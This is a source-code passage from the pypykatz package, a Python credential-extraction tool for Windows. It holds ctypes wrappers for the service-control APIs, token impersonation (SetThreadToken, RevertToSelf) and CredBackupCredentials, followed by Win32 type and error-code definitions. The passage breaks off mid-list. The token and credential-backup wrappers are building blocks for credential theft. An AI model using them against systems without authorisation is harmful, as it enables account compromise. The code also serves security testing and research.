# _In_ DWORD dwErrorControl, # _In_opt_ LPCTSTR lpBinaryPathName, # _In_opt_ LPCTSTR lpLoadOrderGroup, # _Out_opt_ LPDWORD lpdwTagId, # _In_opt_ LPCTSTR lpDependencies, # _In_opt_ LPCTSTR lpServiceStartName, # _In_opt_ LPCTSTR lpPassword, # _In_opt_ LPCTSTR lpDisplayName # ); # TO DO # BOOL WINAPI ChangeServiceConfig2( # _In_ SC_HANDLE hService, # _In_ DWORD dwInfoLevel, # _In_opt_ LPVOID lpInfo # ); # TO DO # BOOL WINAPI StartService( # _In_ SC_HANDLE hService, # _In_ DWORD dwNumServiceArgs, # _In_opt_ LPCTSTR *lpServiceArgVectors # ); def StartServiceA(hService, ServiceArgVectors = None): _StartServiceA = windll.advapi32.StartServiceA _StartServiceA.argtypes = [SC_HANDLE, DWORD, LPVOID] _StartServiceA.restype = bool _StartServiceA.errcheck = RaiseIfZero if ServiceArgVectors: dwNumServiceArgs = len(ServiceArgVectors) CServiceArgVectors = (LPSTR * dwNumServiceArgs)(*ServiceArgVectors) lpServiceArgVectors = ctypes.pointer(CServiceArgVectors) else: dwNumServiceArgs = 0 lpServiceArgVectors = None _StartServiceA(hService, dwNumServiceArgs, lpServiceArgVectors) def StartServiceW(hService, ServiceArgVectors = None): _StartServiceW = windll.advapi32.StartServiceW _StartServiceW.argtypes = [SC_HANDLE, DWORD, LPVOID] _StartServiceW.restype = bool _StartServiceW.errcheck = RaiseIfZero if ServiceArgVectors: dwNumServiceArgs = len(ServiceArgVectors) CServiceArgVectors = (LPWSTR * dwNumServiceArgs)(*ServiceArgVectors) lpServiceArgVectors = ctypes.pointer(CServiceArgVectors) else: dwNumServiceArgs = 0 lpServiceArgVectors = None _StartServiceW(hService, dwNumServiceArgs, lpServiceArgVectors) StartService = GuessStringType(StartServiceA, StartServiceW) # BOOL WINAPI ControlService( # _In_ SC_HANDLE hService, # _In_ DWORD dwControl, # _Out_ LPSERVICE_STATUS lpServiceStatus # ); def ControlService(hService, dwControl): _ControlService = windll.advapi32.ControlService _ControlService.argtypes = [SC_HANDLE, DWORD, LPSERVICE_STATUS] _ControlService.restype = bool _ControlService.errcheck = RaiseIfZero rawServiceStatus = SERVICE_STATUS() _ControlService(hService, dwControl, byref(rawServiceStatus)) return ServiceStatus(rawServiceStatus) # BOOL WINAPI ControlServiceEx( # _In_ SC_HANDLE hService, # _In_ DWORD dwControl, # _In_ DWORD dwInfoLevel, # _Inout_ PVOID pControlParams # ); # TO DO # DWORD WINAPI NotifyServiceStatusChange( # _In_ SC_HANDLE hService, # _In_ DWORD dwNotifyMask, # _In_ PSERVICE_NOTIFY pNotifyBuffer # ); # TO DO # BOOL WINAPI QueryServiceStatus( # _In_ SC_HANDLE hService, # _Out_ LPSERVICE_STATUS lpServiceStatus # ); def QueryServiceStatus(hService): _QueryServiceStatus = windll.advapi32.QueryServiceStatus _QueryServiceStatus.argtypes = [SC_HANDLE, LPSERVICE_STATUS] _QueryServiceStatus.restype = bool _QueryServiceStatus.errcheck = RaiseIfZero rawServiceStatus = SERVICE_STATUS() _QueryServiceStatus(hService, byref(rawServiceStatus)) return ServiceStatus(rawServiceStatus) # BOOL WINAPI QueryServiceStatusEx( # _In_ SC_HANDLE hService, # _In_ SC_STATUS_TYPE InfoLevel, # _Out_opt_ LPBYTE lpBuffer, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded # ); def QueryServiceStatusEx(hService, InfoLevel = SC_STATUS_PROCESS_INFO): if InfoLevel != SC_STATUS_PROCESS_INFO: raise NotImplementedError() _QueryServiceStatusEx = windll.advapi32.QueryServiceStatusEx _QueryServiceStatusEx.argtypes = [SC_HANDLE, SC_STATUS_TYPE, LPVOID, DWORD, LPDWORD] _QueryServiceStatusEx.restype = bool _QueryServiceStatusEx.errcheck = RaiseIfZero lpBuffer = SERVICE_STATUS_PROCESS() cbBytesNeeded = DWORD(sizeof(lpBuffer)) _QueryServiceStatusEx(hService, InfoLevel, byref(lpBuffer), sizeof(lpBuffer), byref(cbBytesNeeded)) return ServiceStatusProcess(lpBuffer) # BOOL WINAPI EnumServicesStatus( # _In_ SC_HANDLE hSCManager, # _In_ DWORD dwServiceType, # _In_ DWORD dwServiceState, # _Out_opt_ LPENUM_SERVICE_STATUS lpServices, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded, # _Out_ LPDWORD lpServicesReturned, # _Inout_opt_ LPDWORD lpResumeHANDLE # ); def EnumServicesStatusA(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL): _EnumServicesStatusA = windll.advapi32.EnumServicesStatusA _EnumServicesStatusA.argtypes = [SC_HANDLE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD] _EnumServicesStatusA.restype = bool cbBytesNeeded = DWORD(0) ServicesReturned = DWORD(0) ResumeHANDLE = DWORD(0) _EnumServicesStatusA(hSCManager, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE)) Services = [] success = False while GetLastError() == ERROR_MORE_DATA: if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSA): break ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value) success = _EnumServicesStatusA(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE)) if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSA) * ServicesReturned.value): raise ctypes.WinError() lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSA) for index in xrange(0, ServicesReturned.value): Services.append( ServiceStatusEntry(lpServicesArray[index]) ) if success: break if not success: raise ctypes.WinError() return Services def EnumServicesStatusW(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL): _EnumServicesStatusW = windll.advapi32.EnumServicesStatusW _EnumServicesStatusW.argtypes = [SC_HANDLE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD] _EnumServicesStatusW.restype = bool cbBytesNeeded = DWORD(0) ServicesReturned = DWORD(0) ResumeHANDLE = DWORD(0) _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE)) Services = [] success = False while GetLastError() == ERROR_MORE_DATA: if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSW): break ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value) success = _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE)) if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value): raise ctypes.WinError() lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW) for index in range(0, ServicesReturned.value): Services.append( lpServicesArray[index]) if success: break if not success: raise ctypes.WinError() return Services EnumServicesStatus = DefaultStringType(EnumServicesStatusA, EnumServicesStatusW) # BOOL WINAPI EnumServicesStatusEx( # _In_ SC_HANDLE hSCManager, # _In_ SC_ENUM_TYPE InfoLevel, # _In_ DWORD dwServiceType, # _In_ DWORD dwServiceState, # _Out_opt_ LPBYTE lpServices, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded, # _Out_ LPDWORD lpServicesReturned, # _Inout_opt_ LPDWORD lpResumeHANDLE, # _In_opt_ LPCTSTR pszGroupName # ); def EnumServicesStatusExA(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None): if InfoLevel != SC_ENUM_PROCESS_INFO: raise NotImplementedError() _EnumServicesStatusExA = windll.advapi32.EnumServicesStatusExA _EnumServicesStatusExA.argtypes = [SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD, LPSTR] _EnumServicesStatusExA.restype = bool cbBytesNeeded = DWORD(0) ServicesReturned = DWORD(0) ResumeHANDLE = DWORD(0) _EnumServicesStatusExA(hSCManager, InfoLevel, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName) Services = [] success = False while GetLastError() == ERROR_MORE_DATA: if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSA): break ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value) success = _EnumServicesStatusExA(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName) if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSA) * ServicesReturned.value): raise ctypes.WinError() lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSA) for index in range(0, ServicesReturned.value): Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) ) if success: break if not success: raise ctypes.WinError() return Services def EnumServicesStatusExW(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None): _EnumServicesStatusExW = windll.advapi32.EnumServicesStatusExW _EnumServicesStatusExW.argtypes = [SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR] _EnumServicesStatusExW.restype = bool if InfoLevel != SC_ENUM_PROCESS_INFO: raise NotImplementedError() cbBytesNeeded = DWORD(0) ServicesReturned = DWORD(0) ResumeHANDLE = DWORD(0) _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName) Services = [] success = False while GetLastError() == ERROR_MORE_DATA: if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSW): break ServicesBuffer = ctypes.create_string_buffer(b"", cbBytesNeeded.value) success = _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName) if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSW) * ServicesReturned.value): raise ctypes.WinError() lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSW) for index in range(0, ServicesReturned.value): Services.append( lpServicesArray[index]) if success: break if not success: raise ctypes.WinError() return Services EnumServicesStatusEx = DefaultStringType(EnumServicesStatusExA, EnumServicesStatusExW) # BOOL WINAPI EnumDependentServices( # _In_ SC_HANDLE hService, # _In_ DWORD dwServiceState, # _Out_opt_ LPENUM_SERVICE_STATUS lpServices, # _In_ DWORD cbBufSize, # _Out_ LPDWORD pcbBytesNeeded, # _Out_ LPDWORD lpServicesReturned # ); # TO DO # BOOL SetThreadToken( # PHANDLE Thread, # HANDLE Token # ); def SetThreadToken(token_handle, thread_handle = None): _SetThreadToken = windll.advapi32.SetThreadToken _SetThreadToken.argtypes = [PHANDLE , HANDLE] _SetThreadToken.restype = bool _SetThreadToken.errcheck = RaiseIfZero _SetThreadToken(thread_handle, token_handle) def RevertToSelf(): _RevertToSelf = windll.advapi32.RevertToSelf _RevertToSelf.argtypes = [] _RevertToSelf.restype = bool _RevertToSelf.errcheck = RaiseIfZero _RevertToSelf() def CredBackupCredentials(token, path, password = None, flags = 0): _CredBackupCredentials = windll.advapi32.CredBackupCredentials _CredBackupCredentials.argtypes = [HANDLE, LPWSTR, PVOID, DWORD, DWORD] _CredBackupCredentials.restype = bool ppath = ctypes.create_unicode_buffer(path) ppassword = None ppasswordlen = DWORD(0) if password is not None: ppassword = ctypes.create_string_buffer(password.encode('utf-16-le')) ppasswordlen = DWORD(len(password.encode('utf-16-le'))) success = _CredBackupCredentials(token, ppath, ppassword, ppasswordlen, flags) if not success: raise ctypes.WinError() return success #============================================================================== # This calculates the list of exported symbols. _all = set(vars().keys()).difference(_all) __all__ = [_x for _x in _all if not _x.startswith('_')] __all__.sort() #============================================================================== ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/winapi/local/function_defs/defines.py0000664000175000017500000005607014543266630025632 0ustar00webdevwebdev#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2016, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """ Common definitions. """ # TODO # + add TCHAR and related types? import ctypes import functools #============================================================================== # This is used later on to calculate the list of exported symbols. _all = None _all = set(vars().keys()) #============================================================================== # Cygwin compatibility. try: WindowsError except NameError: _gle = None class WindowsError(OSError): def __init__(self, *args, **kwargs): OSError.__init__(self, *args, **kwargs) global _gle if _gle is None: from kernel32 import GetLastError as _gle self.winerror = _gle() from os import getenv as _real_getenv def getenv(key, default=None): value = _real_getenv(key, None) if value is None: value = _real_getenv(key.upper(), default) return value #------------------------------------------------------------------------------ # Some stuff from ctypes we'll be using very frequently. addressof = ctypes.addressof sizeof = ctypes.sizeof SIZEOF = ctypes.sizeof POINTER = ctypes.POINTER WINFUNCTYPE = ctypes.WINFUNCTYPE windll = ctypes.windll # Automatically disable padding of structs and unions on 32 bits. class Structure(ctypes.Structure): if sizeof(ctypes.c_void_p) == 4: _pack_ = 1 class Union(ctypes.Union): if sizeof(ctypes.c_void_p) == 4: _pack_ = 1 # The IronPython implementation of byref() was giving some problems, # so it's best to replace it with the slower pointer() function. try: ctypes.c_void_p(ctypes.byref(ctypes.c_char())) # this fails in IronPython byref = ctypes.byref except TypeError: byref = ctypes.pointer # XXX DEBUG # The following code can be enabled to make the Win32 API wrappers log to # standard output the dll and function names, the parameter values and the # return value for each call. ##WIN32_VERBOSE_MODE = True WIN32_VERBOSE_MODE = False if WIN32_VERBOSE_MODE: class WinDllHook(object): def __getattr__(self, name): if name.startswith('_'): return object.__getattr__(self, name) return WinFuncHook(name) class WinFuncHook(object): def __init__(self, name): self.__name = name def __getattr__(self, name): if name.startswith('_'): return object.__getattr__(self, name) return WinCallHook(self.__name, name) class WinCallHook(object): def __init__(self, dllname, funcname): self.__dllname = dllname self.__funcname = funcname self.__func = getattr(getattr(ctypes.windll, dllname), funcname) def __copy_attribute(self, attribute): try: value = getattr(self, attribute) setattr(self.__func, attribute, value) except AttributeError: try: delattr(self.__func, attribute) except AttributeError: pass def __call__(self, *argv): self.__copy_attribute('argtypes') self.__copy_attribute('restype') self.__copy_attribute('errcheck') print("-"*10) print("%s ! %s %r" % (self.__dllname, self.__funcname, argv)) retval = self.__func(*argv) print("== %r" % (retval,)) return retval windll = WinDllHook() #------------------------------------------------------------------------------ def RaiseIfZero(result, func = None, arguments = ()): """ Error checking for most Win32 API calls. The function is assumed to return an integer, which is C{0} on error. In that case the C{WindowsError} exception is raised. """ if not result: raise ctypes.WinError() return result def RaiseIfNotZero(result, func = None, arguments = ()): """ Error checking for some odd Win32 API calls. The function is assumed to return an integer, which is zero on success. If the return value is nonzero the C{WindowsError} exception is raised. This is mostly useful for free() like functions, where the return value is the pointer to the memory block on failure or a C{NULL} pointer on success. """ if result: raise ctypes.WinError() return result def RaiseIfNotErrorSuccess(result, func = None, arguments = ()): """ Error checking for Win32 Registry API calls. The function is assumed to return a Win32 error code. If the code is not C{ERROR_SUCCESS} then a C{WindowsError} exception is raised. """ if result != ERROR_SUCCESS: raise ctypes.WinError(result) return result class GuessStringType(object): """ Decorator that guesses the correct version (A or W) to call based on the types of the strings passed as parameters. Calls the B{ANSI} version if the only string types are ANSI. Calls the B{Unicode} version if Unicode or mixed string types are passed. The default if no string arguments are passed depends on the value of the L{t_default} class variable. @type fn_ansi: function @ivar fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @ivar fn_unicode: Unicode (wide) version of the API function to call. @type t_default: type @cvar t_default: Default string type to use. Possible values are: - type('') for ANSI - type(u'') for Unicode """ # ANSI and Unicode types t_ansi = type('') t_unicode = type(u'') # Default is ANSI for Python 2.x t_default = t_ansi def __init__(self, fn_ansi, fn_unicode): """ @type fn_ansi: function @param fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @param fn_unicode: Unicode (wide) version of the API function to call. """ self.fn_ansi = fn_ansi self.fn_unicode = fn_unicode # Copy the wrapped function attributes. try: self.__name__ = self.fn_ansi.__name__[:-1] # remove the A or W except AttributeError: pass try: self.__module__ = self.fn_ansi.__module__ except AttributeError: pass try: self.__doc__ = self.fn_ansi.__doc__ except AttributeError: pass def __call__(self, *argv, **argd): # Shortcut to self.t_ansi t_ansi = self.t_ansi # Get the types of all arguments for the function v_types = [ type(item) for item in argv ] v_types.extend( [ type(value) for (key, value) in argd.items() ] ) # Get the appropriate function for the default type if self.t_default == t_ansi: fn = self.fn_ansi else: fn = self.fn_unicode # If at least one argument is a Unicode string... if self.t_unicode in v_types: # If al least one argument is an ANSI string, # convert all ANSI strings to Unicode if t_ansi in v_types: argv = list(argv) for index in range(len(argv)): if v_types[index] == t_ansi: argv[index] = argv[index] for (key, value) in argd.items(): if type(value) == t_ansi: argd[key] = value # Use the W version fn = self.fn_unicode # If at least one argument is an ANSI string, # but there are no Unicode strings... elif t_ansi in v_types: # Use the A version fn = self.fn_ansi # Call the function and return the result return fn(*argv, **argd) class DefaultStringType(object): """ Decorator that uses the default version (A or W) to call based on the configuration of the L{GuessStringType} decorator. @see: L{GuessStringType.t_default} @type fn_ansi: function @ivar fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @ivar fn_unicode: Unicode (wide) version of the API function to call. """ def __init__(self, fn_ansi, fn_unicode): """ @type fn_ansi: function @param fn_ansi: ANSI version of the API function to call. @type fn_unicode: function @param fn_unicode: Unicode (wide) version of the API function to call. """ self.fn_ansi = fn_ansi self.fn_unicode = fn_unicode # Copy the wrapped function attributes. try: self.__name__ = self.fn_ansi.__name__[:-1] # remove the A or W except AttributeError: pass try: self.__module__ = self.fn_ansi.__module__ except AttributeError: pass try: self.__doc__ = self.fn_ansi.__doc__ except AttributeError: pass def __call__(self, *argv, **argd): # Get the appropriate function based on the default. if GuessStringType.t_default == GuessStringType.t_ansi: fn = self.fn_ansi else: fn = self.fn_unicode # Call the function and return the result return fn(*argv, **argd) def MakeANSIVersion(fn): """ Decorator that generates an ANSI version of a Unicode (wide) only API call. @type fn: callable @param fn: Unicode (wide) version of the API function to call. """ @functools.wraps(fn) def wrapper(*argv, **argd): t_ansi = GuessStringType.t_ansi t_unicode = GuessStringType.t_unicode v_types = [ type(item) for item in argv ] v_types.extend( [ type(value) for (key, value) in argd.items() ] ) if t_ansi in v_types: argv = list(argv) for index in range(len(argv)): if v_types[index] == t_ansi: argv[index] = t_unicode(argv[index]) for key, value in argd.items(): if type(value) == t_ansi: argd[key] = t_unicode(value) return fn(*argv, **argd) return wrapper def MakeWideVersion(fn): """ Decorator that generates a Unicode (wide) version of an ANSI only API call. @type fn: callable @param fn: ANSI version of the API function to call. """ @functools.wraps(fn) def wrapper(*argv, **argd): t_ansi = GuessStringType.t_ansi t_unicode = GuessStringType.t_unicode v_types = [ type(item) for item in argv ] v_types.extend( [ type(value) for (key, value) in argd.items() ] ) if t_unicode in v_types: argv = list(argv) for index in range(len(argv)): if v_types[index] == t_unicode: argv[index] = t_ansi(argv[index]) for key, value in argd.items(): if type(value) == t_unicode: argd[key] = t_ansi(value) return fn(*argv, **argd) return wrapper #--- Types -------------------------------------------------------------------- # http://msdn.microsoft.com/en-us/library/aa383751(v=vs.85).aspx # Map of basic C types to Win32 types LPVOID = ctypes.c_void_p CHAR = ctypes.c_char WCHAR = ctypes.c_wchar BYTE = ctypes.c_ubyte SBYTE = ctypes.c_byte WORD = ctypes.c_uint16 SWORD = ctypes.c_int16 DWORD = ctypes.c_uint32 SDWORD = ctypes.c_int32 QWORD = ctypes.c_uint64 SQWORD = ctypes.c_int64 SHORT = ctypes.c_int16 USHORT = ctypes.c_uint16 INT = ctypes.c_int32 UINT = ctypes.c_uint32 LONG = ctypes.c_int32 ULONG = ctypes.c_uint32 LONGLONG = ctypes.c_int64 # c_longlong ULONGLONG = ctypes.c_uint64 # c_ulonglong LPSTR = ctypes.c_char_p LPWSTR = ctypes.c_wchar_p INT8 = ctypes.c_int8 INT16 = ctypes.c_int16 INT32 = ctypes.c_int32 INT64 = ctypes.c_int64 UINT8 = ctypes.c_uint8 UINT16 = ctypes.c_uint16 UINT32 = ctypes.c_uint32 UINT64 = ctypes.c_uint64 LONG32 = ctypes.c_int32 LONG64 = ctypes.c_int64 ULONG32 = ctypes.c_uint32 ULONG64 = ctypes.c_uint64 DWORD32 = ctypes.c_uint32 DWORD64 = ctypes.c_uint64 BOOL = ctypes.c_int32 FLOAT = ctypes.c_float # not sure on cygwin DOUBLE = ctypes.c_double # not sure on cygwin # Map size_t to SIZE_T try: SIZE_T = ctypes.c_size_t SSIZE_T = ctypes.c_ssize_t except AttributeError: # Size of a pointer SIZE_T = {1:BYTE, 2:WORD, 4:DWORD, 8:QWORD}[sizeof(LPVOID)] SSIZE_T = {1:SBYTE, 2:SWORD, 4:SDWORD, 8:SQWORD}[sizeof(LPVOID)] PSIZE_T = POINTER(SIZE_T) # Not really pointers but pointer-sized integers DWORD_PTR = SIZE_T ULONG_PTR = SIZE_T LONG_PTR = SIZE_T # Other Win32 types, more may be added as needed PVOID = LPVOID PPVOID = POINTER(PVOID) PSTR = LPSTR PWSTR = LPWSTR PCHAR = LPSTR PWCHAR = LPWSTR LPBYTE = POINTER(BYTE) LPSBYTE = POINTER(SBYTE) LPWORD = POINTER(WORD) LPSWORD = POINTER(SWORD) LPDWORD = POINTER(DWORD) LPSDWORD = POINTER(SDWORD) LPULONG = POINTER(ULONG) LPLONG = POINTER(LONG) PDWORD = LPDWORD PDWORD_PTR = POINTER(DWORD_PTR) PULONG = LPULONG PLONG = LPLONG CCHAR = CHAR BOOLEAN = BYTE PBOOL = POINTER(BOOL) LPBOOL = PBOOL TCHAR = CHAR # XXX ANSI by default? UCHAR = BYTE DWORDLONG = ULONGLONG LPDWORD32 = POINTER(DWORD32) LPULONG32 = POINTER(ULONG32) LPDWORD64 = POINTER(DWORD64) LPULONG64 = POINTER(ULONG64) PDWORD32 = LPDWORD32 PULONG32 = LPULONG32 PDWORD64 = LPDWORD64 PULONG64 = LPULONG64 ATOM = WORD HANDLE = LPVOID PHANDLE = POINTER(HANDLE) LPHANDLE = PHANDLE HMODULE = HANDLE HINSTANCE = HANDLE HTASK = HANDLE HKEY = HANDLE PHKEY = POINTER(HKEY) HDESK = HANDLE HRSRC = HANDLE HSTR = HANDLE HWINSTA = HANDLE HKL = HANDLE HDWP = HANDLE HFILE = HANDLE HRESULT = LONG HGLOBAL = HANDLE HLOCAL = HANDLE HGDIOBJ = HANDLE HDC = HGDIOBJ HRGN = HGDIOBJ HBITMAP = HGDIOBJ HPALETTE = HGDIOBJ HPEN = HGDIOBJ HBRUSH = HGDIOBJ HMF = HGDIOBJ HEMF = HGDIOBJ HENHMETAFILE = HGDIOBJ HMETAFILE = HGDIOBJ HMETAFILEPICT = HGDIOBJ HWND = HANDLE NTSTATUS = LONG PNTSTATUS = POINTER(NTSTATUS) KAFFINITY = ULONG_PTR RVA = DWORD RVA64 = QWORD WPARAM = DWORD LPARAM = LPVOID LRESULT = LPVOID ACCESS_MASK = DWORD REGSAM = ACCESS_MASK PACCESS_MASK = POINTER(ACCESS_MASK) PREGSAM = POINTER(REGSAM) # Since the SID is an opaque structure, let's treat its pointers as void* PSID = PVOID # typedef union _LARGE_INTEGER { # struct { # DWORD LowPart; # LONG HighPart; # } ; # struct { # DWORD LowPart; # LONG HighPart; # } u; # LONGLONG QuadPart; # } LARGE_INTEGER, # *PLARGE_INTEGER; # XXX TODO # typedef struct _FLOAT128 { # __int64 LowPart; # __int64 HighPart; # } FLOAT128; class FLOAT128 (Structure): _fields_ = [ ("LowPart", QWORD), ("HighPart", QWORD), ] PFLOAT128 = POINTER(FLOAT128) # typedef struct DECLSPEC_ALIGN(16) _M128A { # ULONGLONG Low; # LONGLONG High; # } M128A, *PM128A; class M128A(Structure): _fields_ = [ ("Low", ULONGLONG), ("High", LONGLONG), ] PM128A = POINTER(M128A) #--- Constants ---------------------------------------------------------------- NULL = None INFINITE = -1 TRUE = 1 FALSE = 0 # http://blogs.msdn.com/oldnewthing/archive/2004/08/26/220873.aspx ANYSIZE_ARRAY = 1 # Invalid handle value is -1 casted to void pointer. try: INVALID_HANDLE_VALUE = ctypes.c_void_p(-1).value #-1 #0xFFFFFFFF except TypeError: if sizeof(ctypes.c_void_p) == 4: INVALID_HANDLE_VALUE = 0xFFFFFFFF elif sizeof(ctypes.c_void_p) == 8: INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF else: raise MAX_MODULE_NAME32 = 255 MAX_PATH = 260 # Error codes # TODO maybe add more error codes? # if they're too many they could be pickled instead, # or at the very least put in a new file ERROR_SUCCESS = 0 ERROR_INVALID_FUNCTION = 1 ERROR_FILE_NOT_FOUND = 2 ERROR_PATH_NOT_FOUND = 3 ERROR_ACCESS_DENIED = 5 ERROR_INVALID_HANDLE = 6 ERROR_NOT_ENOUGH_MEMORY = 8 ERROR_INVALID_DRIVE = 15 ERROR_NO_MORE_FILES = 18 ERROR_BAD_LENGTH = 24 ERROR_HANDLE_EOF = 38 ERROR_HANDLE_DISK_FULL = 39 ERROR_NOT_SUPPORTED = 50 ERROR_FILE_EXISTS = 80 ERROR_INVALID_PARAMETER = 87 ERROR_BUFFER_OVERFLOW = 111 ERROR_DISK_FULL = 112 ERROR_CALL_NOT_IMPLEMENTED = 120 ERROR_SEM_TIMEOUT = 121 ERROR_INSUFFICIENT_BUFFER = 122 ERROR_INVALID_NAME = 123 ERROR_MOD_NOT_FOUND = 126 ERROR_PROC_NOT_FOUND = 127 ERROR_DIR_NOT_EMPTY = 145 ERROR_BAD_THREADID_ADDR = 159 ERROR_BAD_ARGUMENTS = 160 ERROR_BAD_PATHNAME = 161 ERROR_ALREADY_EXISTS = 183 ERROR_INVALID_FLAG_NUMBER = 186 ERROR_ENVVAR_NOT_FOUND = 203 ERROR_FILENAME_EXCED_RANGE = 206 ERROR_MORE_DATA = 234 WAIT_TIMEOUT = 258 ERROR_NO_MORE_ITEMS = 259 ERROR_PARTIAL_COPY = 299 ERROR_INVALID_ADDRESS = 487 ERROR_THREAD_NOT_IN_PROCESS = 566 ERROR_CONTROL_C_EXIT = 572 ERROR_UNHANDLED_EXCEPTION = 574 ERROR_ASSERTION_FAILURE = 668 ERROR_WOW_ASSERTION = 670 ERROR_DBG_EXCEPTION_NOT_HANDLED = 688 ERROR_DBG_REPLY_LATER = 689 ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE = 690 ERROR_DBG_TERMINATE_THREAD = 691 ERROR_DBG_TERMINATE_PROCESS = 692 ERROR_DBG_CONTROL_C = 693 ERROR_DBG_PRINTEXCEPTION_C = 694 ERROR_DBG_RIPEXCEPTION = 695 ERROR_DBG_CONTROL_BREAK = 696 ERROR_DBG_COMMAND_EXCEPTION = 697 ERROR_DBG_EXCEPTION_HANDLED = 766 ERROR_DBG_CONTINUE = 767 ERROR_ELEVATION_REQUIRED = 740 ERROR_NOACCESS = 998 ERROR_CIRCULAR_DEPENDENCY = 1059 ERROR_SERVICE_DOES_NOT_EXIST = 1060 ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061 ERROR_SERVICE_NOT_ACTIVE = 1062 ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063 ERROR_EXCEPTION_IN_SERVICE = 1064 ERROR_DATABASE_DOES_NOT_EXIST = 1065 ERROR_SERVICE_SPECIFIC_ERROR = 